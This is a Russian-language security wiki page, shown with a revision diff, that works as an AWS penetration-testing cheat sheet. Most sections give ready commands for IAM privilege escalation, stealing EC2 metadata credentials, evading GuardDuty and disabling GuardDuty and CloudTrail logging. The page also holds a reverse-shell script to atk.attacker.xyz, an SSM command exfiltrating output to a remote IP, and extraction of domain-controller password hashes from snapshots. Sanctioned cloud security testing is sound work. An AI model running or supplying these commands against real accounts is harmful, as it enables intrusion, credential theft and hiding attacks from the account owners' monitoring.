Aws — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (Краткие заметки)
м (Службы)
Строка 501: Строка 501:
  
 
См. EC2
 
См. EC2
 +
 +
 +
== AWS Shield ==
 +
 +
Сервис для защиты от DDoS.
 +
 +
 +
  
 
== GuardDuty ==
 
== GuardDuty ==

Версия 18:01, 5 октября 2022

AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.

Содержание

Организационные моменты

При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).

Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/

Общие концепции

Службы

Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.


Это экосистема многих сервисов. И AWS стремится увеличить их количество.

Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.


Регионы

AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.

Регионы AWS
Название региона Endpoint(HTTPS)
us-east-2 rds.us-east-2.amazonaws.com

rds-fips.us-east-2.api.aws

rds.us-east-2.api.aws

rds-fips.us-east-2.amazonaws.com

us-east-1 rds.us-east-1.amazonaws.com

rds-fips.us-east-1.api.aws

rds-fips.us-east-1.amazonaws.com

rds.us-east-1.api.aws

us-west-1 rds.us-west-1.amazonaws.com

rds.us-west-1.api.aws

rds-fips.us-west-1.amazonaws.com

rds-fips.us-west-1.api.aws

us-west-2 rds.us-west-2.amazonaws.com

rds-fips.us-west-2.amazonaws.com

rds.us-west-2.api.aws

rds-fips.us-west-2.api.aws

af-south-1 rds.af-south-1.amazonaws.com

rds.af-south-1.api.aws

ap-east-1 rds.ap-east-1.amazonaws.com

rds.ap-east-1.api.aws

ap-southeast-3 rds.ap-southeast-3.amazonaws.com
ap-south-1 rds.ap-south-1.amazonaws.com

rds.ap-south-1.api.aws

ap-northeast-3 rds.ap-northeast-3.amazonaws.com

rds.ap-northeast-3.api.aws

ap-northeast-2 rds.ap-northeast-2.amazonaws.com

rds.ap-northeast-2.api.aws

ap-southeast-1 rds.ap-southeast-1.amazonaws.com

rds.ap-southeast-1.api.aws

ap-southeast-2 rds.ap-southeast-2.amazonaws.com

rds.ap-southeast-2.api.aws

ap-northeast-1 rds.ap-northeast-1.amazonaws.com

rds.ap-northeast-1.api.aws

ca-central-1 rds.ca-central-1.amazonaws.com

rds.ca-central-1.api.aws

rds-fips.ca-central-1.api.aws

rds-fips.ca-central-1.amazonaws.com

eu-central-1 rds.eu-central-1.amazonaws.com

rds.eu-central-1.api.aws

eu-west-1 rds.eu-west-1.amazonaws.com

rds.eu-west-1.api.aws

eu-west-2 rds.eu-west-2.amazonaws.com

rds.eu-west-2.api.aws

eu-south-1 rds.eu-south-1.amazonaws.com

rds.eu-south-1.api.aws

eu-west-3 rds.eu-west-3.amazonaws.com

rds.eu-west-3.api.aws

eu-north-1 rds.eu-north-1.amazonaws.com

rds.eu-north-1.api.aws

me-south-1 rds.me-south-1.amazonaws.com

rds.me-south-1.api.aws

sa-east-1 rds.sa-east-1.amazonaws.com

rds.sa-east-1.api.aws

us-gov-east-1 rds.us-gov-east-1.amazonaws.com
us-gov-west-1 rds.us-gov-west-1.amazonaws.com

Или только регионы (могут пригодиться при переборе):

 1 us-east-2
 2 us-east-1
 3 us-west-1
 4 us-west-2
 5 af-south-1
 6 ap-east-1
 7 ap-southeast-3
 8 ap-south-1
 9 ap-northeast-3
10 ap-northeast-2
11 ap-southeast-1
12 ap-southeast-2
13 ap-northeast-1
14 ca-central-1
15 eu-central-1
16 eu-west-1
17 eu-west-2
18 eu-south-1
19 eu-west-3
20 eu-north-1
21 me-south-1
22 sa-east-1
23 us-gov-east-1
24 us-gov-west-1

Доступы

Консольная утилита(awscli)

Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.

Утилита работает с настроенными профилями.

Файлы

~/.aws/credentials

Файл с учетными данными профилей. Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.

У каждого профиля будет указан:

  • Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с "AKIA..."
  • Access Key - 40 случайных символов различного регистра.
  • Access Token - не всегда указывается

Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings

Пример содержимого файла (сохранен профиль default):

1 [default]
2 aws_access_key_id=AKIAIOSFODNN7EXAMPLE
3 aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
4 aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk

~/.aws/config

Файл с региональными настройками профиля(регион по-умолчанию).

1 [default]
2 region=us-west-2
3 output=json

~/.aws/cli/cache

Закешированные учетные данные

~/.aws/sso/cache

Закешированные данные Single-Sign-On

Команды

Общее построение команды выглядит как:

1 aws <название_сервиса> <действие> <дополнительные_аргументы>

Примеры:

1 # Вывести все S3-хранилища.
2 aws s3 ls
3 
4 # Создание нового пользователя - сервис IAM
5 aws iam create-user --user-name aws-admin2

IMDS (Instance Metadata Service)

Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.

Есть 2 версии:

  • IMDSv1 - версия 1 по-умолчанию, не требует токен.
  • IMDSv2 - версия 2, для запросов требуется токен.

Запрос без токена:

1 curl http://169.254.169.254/latest/meta-data/

Запрос с токеном:

1 TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/

Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):

1 # В начале делаем запрос на директорию /security-credentials/
2 http://169.254.169.254/latest/meta-data/iam/security-credentials/
3 # Потом выбираем нужный аккаунт и делаем запрос на него
4 http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account

Пример ответа:

1 { 
2     "Code" : "Success", 
3     "LastUpdated" : "2019-12-03T07:15:34Z", 
4     "Type" : "AWS-HMAC", 
5     "AccessKeyId" : "xxxxxxxxxxxxxxxxxxx", 
6     "SecretAccessKey" : "xxxxxxxxxxxxxxxxxxxxx", 
7     "Token" : "xxxxxxxxxxxxxxxxxxxxx", 
8     "Expiration" : "2019-12-03T13:50:22Z"
9 }

После чего эти учетные данные можно использовать с awscli.


Другие полезные Endpoint'ы:

 1 http://169.254.169.254/
 2 http://169.254.169.254/latest/user-data
 3 http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
 4 http://169.254.169.254/latest/meta-data/
 5 http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
 6 http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
 7 http://169.254.169.254/latest/meta-data/ami-id
 8 http://169.254.169.254/latest/meta-data/reservation-id
 9 http://169.254.169.254/latest/meta-data/hostname
10 http://169.254.169.254/latest/meta-data/public-keys/
11 http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
12 http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
13 http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
14 http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
15 http://169.254.169.254/latest/dynamic/instance-identity/document

Ролевая модель

Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:

  • trust policy - определяет, чья будет роль
  • permissions policy - определяет какой доступ будет у тех, у кого эта роль.



Каждая политика состоит из следующих компонентов:

  • Ресурс - цель, кому выдается правило. Может быть:
    • Пользователь
    • Группа, в которой могут быть аккаунты по какому то признаку
    • Другая политика.
  • Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)
  • Тип правила(Effect) - разрешение или запрет.
  • Политика(Policy) - совокупность Роль(действие) -> разрешение/запрет -> Ресурс(кому).
  • Условия(Condition) - отдельные условия, например, ip.

Пример политики:

 1 {
 2     "Version": "2012-10-17",  //Версия политики
 3     "Statement": [  
 4         {
 5             "Sid": "Stmt32894y234276923" //Опционально - уникальный идентификатор
 6             "Effect": "Allow", //Разрешить или запретить
 7             "Action": [  //Разрешенные/Запрещенные действия
 8                 "ec2:AttachVolume",
 9                 "ec2:DetachVolume"
10             ], 
11             "Resource": [ //На какие ресурсы можно/нельзя совершать действия
12                 "arn:aws:ec2:*:*:volume/*",
13                 "arn:aws:ec2:*:*:instance/*"
14             ],
15             "Condition": { //Опционально - условия срабатывания
16                 "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
17             }
18         }
19     ]
20 }

Определение ролей

Вручную

TODO команды по определению своих ролей

Автоматизированно

Эксплуатация

Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.


Тут будут отдельные роли, которые не прикреплены ни к одному сервису.

Административный доступ

Как выглядит роль с административным доступом:

1 "Statement": [
2     {
3       "Effect": "Allow",
4       "Action": [
5         "*"
6       ],
7       "Resource": "*"
8     }
9 ]

Службы

IAM

Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.


Роли - повышение привилегий

iam:UpdateLoginProfile

Сбросить пароль у других пользователей:

1 aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' --no-password-reset-required

iam:PassRole + ec2:RunInstance

См. EC2

iam:PassRole + glue:CreateDevEndpoint

См. Glue

Роли - повышение до админа

iam:AddUserToGroup

Добавить юзера в административную группу:

1 aws iam add-user-to-group --group-name <название_группы> --user-name <логин>

iam:PutUserPolicy

Право добавить своб политику к ранее скомпрометированным обьектам.

1 aws iam put-user-policy --user-name <логин> --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json

iam:CreateLoginProfile

Привилегия для создания профиля(с паролем) для аккаунта, выставить новый пароль и перейти под этого пользователя.

1 aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' --no-password-reset-required

iam:UpdateLoginProfile

Добавить существующую политику к любому пользователю.

1 aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess


iam:AttachGroupPolicy

Добавить существующую политику к любой группе.

1 aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

iam:AttachRolePolicy

Добавить существующую политику к любой роли.

1 aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

iam:CreatePolicy

Создать административную политику.

iam:AddUserToGroup

Добавить пользователя в группу администраторов:

1 aws iam add-user-to-group --group-name target_group --user-name my_username

iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion

Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.

Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.

1 # Создание политики
2 aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default
3 # Установка политики по умолчанию.
4 aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2

iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile

См. EC2


AWS Shield

Сервис для защиты от DDoS.



GuardDuty

Сервис для детектирования атак используя машинное обучение.

Для детекта использует следующие сервисы:

  • CloudTrail
  • VPC Flow Logs
  • DNS Logs
  • ...to be continued

Обход защиты

Далее идут правила детекта и то, как их можно обойти.

UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration

Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).

Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).

Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы. Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.

Может быть для этого выгодно держать проксирующий сервер EC2.

UserAgent rules

Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. Варианты:

  • Использовать утилиту pacu (уже есть смена User-Agent)
  • Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.

Роли - Управление

Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html

guardduty:UpdateDetector

Позволяет выключить GuardDuty (ну или редатировать правила):

1 aws guardduty update-detector --detector-id <id of detector> --no-enable

guardduty:DeleteDetector

Удалить правило детектирования:

1 aws guardduty delete-detector --detector-id <id of detector>

STS (Security Token Service)

Сервис, позволяющий запросить временные учетные данные с ограниченными примилегиями для IAM-пользователей

KMS (Key Management Service)

Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.

Администраторы амазона не смогут получить к ним доступ.


Ключи со временем обновляются:

  • Customers keys - раз в 365 дней
  • AWS keys - раз в 3 года.


Старые ключи также можно будет использовать для расшифровки.

CloudHSM (Hardware Security Module)

Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению.

Пишут, что устройство будет закреплено только за вами.

Также можно получить доступ к CloudHSM-Instance по SSH.

Athena

Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.

Умеет работать с шифрованными S3 и сохранять шифрованный вывод.

EBS (Elastic Block Store)

Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).

Роли - управление сервисом

ec2:CreateVolume + ec2:AttachVolume

Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.

1 # Создание Volume из snapshot'а (если требуется подключить snapshot)
2 aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone
3 # Подключение Volume к виртуалке EC2

Далее идем на виртуалку и вводим команды:

 1 # Поиск Volume
 2 lsblk
 3 # Проверка есть ли на нем данные
 4 sudo file -s /dev/xvdf
 5 # форматировать образ под ext4 (если неподходящая файловая система)
 6 sudo mkfs -t ext4 /dev/xvdf
 7 # Создаем директорию куда примонтируем позже
 8 sudo mkdir /tmp/newvolume
 9 # Монтируем
10 sudo mount /dev/xvdf /tmp/newvolume/

Диск будет доступен на /tmp/newvolume.


Lambda

Сервис для запуска своего кода в облаке.

Роли - повышение привилегий

lambda:UpdateFunctionCode

Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:

1 aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip

lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole

Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.

Код функции:

1 import boto3
2 def lambda_handler(event, context):
3     client = boto3.client('iam')
4     response = client.attach_user_policy(
5     UserName='my_username',
6     PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
7     )
8     return response

Команды для запуска:

1 # Создание функции
2 aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py
3 # Запуск
4 aws lambda invoke --function-name my_function output.txt

Роли - управление

lambda:GetFunction

Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.

Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):

1 # Получить список функций
2 aws lambda list-functions --profile uploadcreds
3 # Получить информацию о Lambda-функции
4 aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --query 'Code.Location' --profile uploadcreds
5 # Скачать исходный код по ссылке из предыдущего ответа
6 wget -O lambda-function.zip url-from-previous-query --profile uploadcreds

Glue

Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.

Роли - повышение привилегий

glue:UpdateDevEndpoint

Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:

1 # TODO: это не обновление параметров, надо обновить команду
2 aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub

glue:CreateDevEndpoint + iam:PassRole

Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:

1 aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub

S3

Файловое хранилище, доступное по http(s).

Формат ссылки:

 1 https://{bucket_name}.s3.amazonaws.com
 2 https://s3.amazonaws.com/{bucket_name}/
 3 
 4 # US Standard
 5 http://s3.amazonaws.com
 6 # Ireland
 7 http://s3-eu-west-1.amazonaws.com
 8 # Northern California
 9 http://s3-us-west-1.amazonaws.com
10 # Singapore
11 http://s3-ap-southeast-1.amazonaws.com
12 # Tokyo
13 http://s3-ap-northeast-1.amazonaws.com

Делать запросы можно:

  • В браузере - http(s)
  • Используя awscli:
1 aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]


В S3 может использоваться шифрование:

  • SSE-KMS - Server-Side с ключами KMS
  • SSE-C - Server-Side с ключами заказчика
  • CSE-KMS - Client-Side с ключами KMS
  • CSE-C - Client-Side с ключами заказчика

Сбор информации

Определение региона

 1 $ dig flaws.cloud
 2 ;; ANSWER SECTION:
 3 flaws.cloud.    5    IN    A    52.218.192.11
 4 
 5 $ nslookup 52.218.192.11
 6 Non-authoritative answer:
 7 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com
 8 
 9 # Итоговый URL будет:
10 flaws.cloud.s3-website-us-west-2.amazonaws.com
11 flaws.cloud.s3-us-west-2.amazonaws.com

Если будет некорректный регион - редиректнет на корректный.


Список файлов

На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.

Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).


Роли - управление

s3:ListBucket

Посмотреть список файлов в S3-хранилище:

1 aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]

s3:ListAllMyBuckets

Посмотреть список всех S3-хранилищ, доступных мне:

1 aws s3api list-buckets
2 aws s3 ls

CloudFront

Сервис сети доставки контента (CDN).


Формат ссылки:

1 https://{random_id}.cloudfront.net

EC2 (Elastic Compute Cloud)

EC2 (Amazon Elastic Compute Cloud) == VPS


Состоит из:

  • Instance - название виртуальной машины
  • AMI (Amazon Machine Image) - образ виртуальной машины
  • SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.


Формат ссылки:

1 ec2-{ip-seperated}.compute-1.amazonaws.com

SSM Agent

Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.

Его тоже можно выбрать целью атаки

MITM

Есть возможность вклиниваться в общение от SSM-Агента локально.

PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception

Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/


Роли - повышение привилегий

ec2:RunInstance + iam:PassRole

Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.

1. Запуск машины c новой прикрепленной ролью

2. Подключение к ней

3. Работа с прикрепленной ролью

Создание EC2 с известным SSH-ключем:

1 aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456

Второй вариант - скрипт для запуска:

1 aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh

Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.


Роли - повышение до админа

ec2:AssociateIamInstanceProfile

Позволяет менять IAM политики/роли/пользователей

ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole

Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.

Роли - управление

ec2:CreateVolume + ec2:AttachVolume

См. EBS.

ec2:DescribeSnapshots

Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:

1 aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2

ec2:CreateVolume

Прзврояет примаунтить SnapShot, чтобы потом его изучить:

1 aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89

ec2:* (Копирование EC2)

Позволяет скопировать EC2 используя AMI-images:

 1 # Создаем новый AMI из Instance-ID
 2 aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1  
 3 
 4 # Добавляем наш ключ в систему
 5 aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  
 6 
 7 # Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) 
 8 aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
 9 
10 # Проверяем запустился ли инстанс
11 aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 
12 
13 # Не обязательно - редактируем группу инстанса
14 aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1
15 
16 # В конце работы - останавливаем и удаляем инстанс
17 aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 
18 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

ec2-instance-connect:SendSSHPublicKey

Добавить SSH-ключ к EC2-инстансу. Ключ будет существовать 60 секунд.

1 # Получаем информацию об инстансе, который будем атаковать.
2 aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"
3 
4 # Добавляем ключ к EC2-инстансу.
5 aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Добавить SSH-ключ к EC2-инстансу. Ключ будет существовать 60 секунд.

В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.


 1 # Получаем информацию об инстансе, который будем атаковать.
 2 aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"
 3 
 4 # Добавляем ключ к EC2-инстансу.
 5 aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1
 6 
 7 # Подключаемся (кроме GovCloud US региона)
 8 ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws
 9 # Подключаемся (только для GovCloud US региона)
10 ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com
11 
12 # В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)
13 sudo systemctl restart serial-getty@ttyS0
14 # Если не сработало - мб требуется ребутать сервер.


Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html

ssm:SendCommand

Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:

  • Знать Instance-ID, на котором запущен сервис SSM
  • Свой сервер, на который будет приходить отстук - результат команды.

Команды для эксплуатации:

1 # Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation
2 aws ssm describe-instance-information --profile stolencreds --region eu-west-1  
3 # Выполняем команду
4 aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds
5 # Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)
6 aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds
7 
8 # Пример - результат команды на удаленный сервер
9 $ aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1

EC2:CreateSnapshot + Active Directory

См. AD.


Auto Scaling (autoscaling)

Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.

Для работы сервиса требуется:

1. Конфигурация запуска EC2.

2. Конфигурация масштабирования.


Роли - повышение привилегий

autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole

Позволяет создать и запустить конфигурацию масштабирования.

Создаем конфигурацию запуска EC2

Для создания требуется:

1. Image-id

2. iam-instance-profile


Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:

1 aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options "HttpEndpoint=enabled,HttpTokens=optional" --associate-public-ip-address --user-data=file://reverse-shell.sh

Пример содержимого reverse-shell.sh:

1 #!/bin/bash
2 /bin/bash -l > /dev/tcp/atk.attacker.xyz/443 0<&1 2>&1

Создаем и запускаем группу масштабируемости

Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).

1 aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier "subnet-aaaabbb"


Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b

AD (Directory Service)

Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.

Основные понятия:

  • EC2-Instance - VPS на которых крутится весь Active Directory


Роли - повышение привилегий

EC2:CreateSnapshot + EC2:RunInstance -> ShadowCopy

Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.


Последовательность атаки:

1. Получаем список инстансов

2. Создаем Snapshot выбранного сервера

3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего.

1 aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012

4. Переключаемся на аккаунт атакующего

5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot

6. Подключаемся по SSH и получаем данные из SnapShot

1 sudo -s
2 mkdir /tmp/windows
3 mount /dev/xvdf1 /tmp/windows/
4 cd  /tmp/windows/

7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:

1 cp /windows/Windows/NTDS/ntds.dit /home/ec2-user
2 cp /windows/Windows/System32/config/SYSTEM /home/ec2-user
3 chown ec2-user:ec2-user /home/ec2-user/*
4 # Sftp - скачиваем файлы:
5 /home/ec2-user/SYSTEM
6 /home/ec2-user/ntds.dit
7 # Получаем учетные данные, используя Impacket-secretsdump
8 secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets

CloudTrail

Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.

Записывает:

  • API-вызовы
  • Логины в систему
  • События сервисов
  •  ???


Важен при операциях RedTeam.


Название файла логов:

1 AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat

S3 путь до логов:

1 BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD

Путь у CloudTrail-Digest файлов:

1 s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz

Основные поля у событий:

  • eventName - имя API-endpoint
  • eventSource - вызванный сервис
  • eventTime - время события
  • SourceIPAddress - ip-адрес источника
  • userAgent - метод запроса
    • "signing.amazonaws.com" - запрос от AWS Management Console
    • "console.amazonaws.com" - запрос от root-пользователя аккаунта
    • "lambda.amazonaws.com" - запрос от AWS Lambda
  • requestParameters - параметры запроса
  • responseElements - элементы ответа.


Временные параметры:

  • 5 минут - сохраняется новый лог-файл
  • 15 минут - сохраняется в S3.


Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись. Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.

Роли - управление

cloudtrail:DeleteTrail

Позволяет отключить мониторинг:

1 aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator

cloudtrail:UpdateTrail

Права на редактирование правил монитринга.


Отключить мониторинг глобальных сервисов:

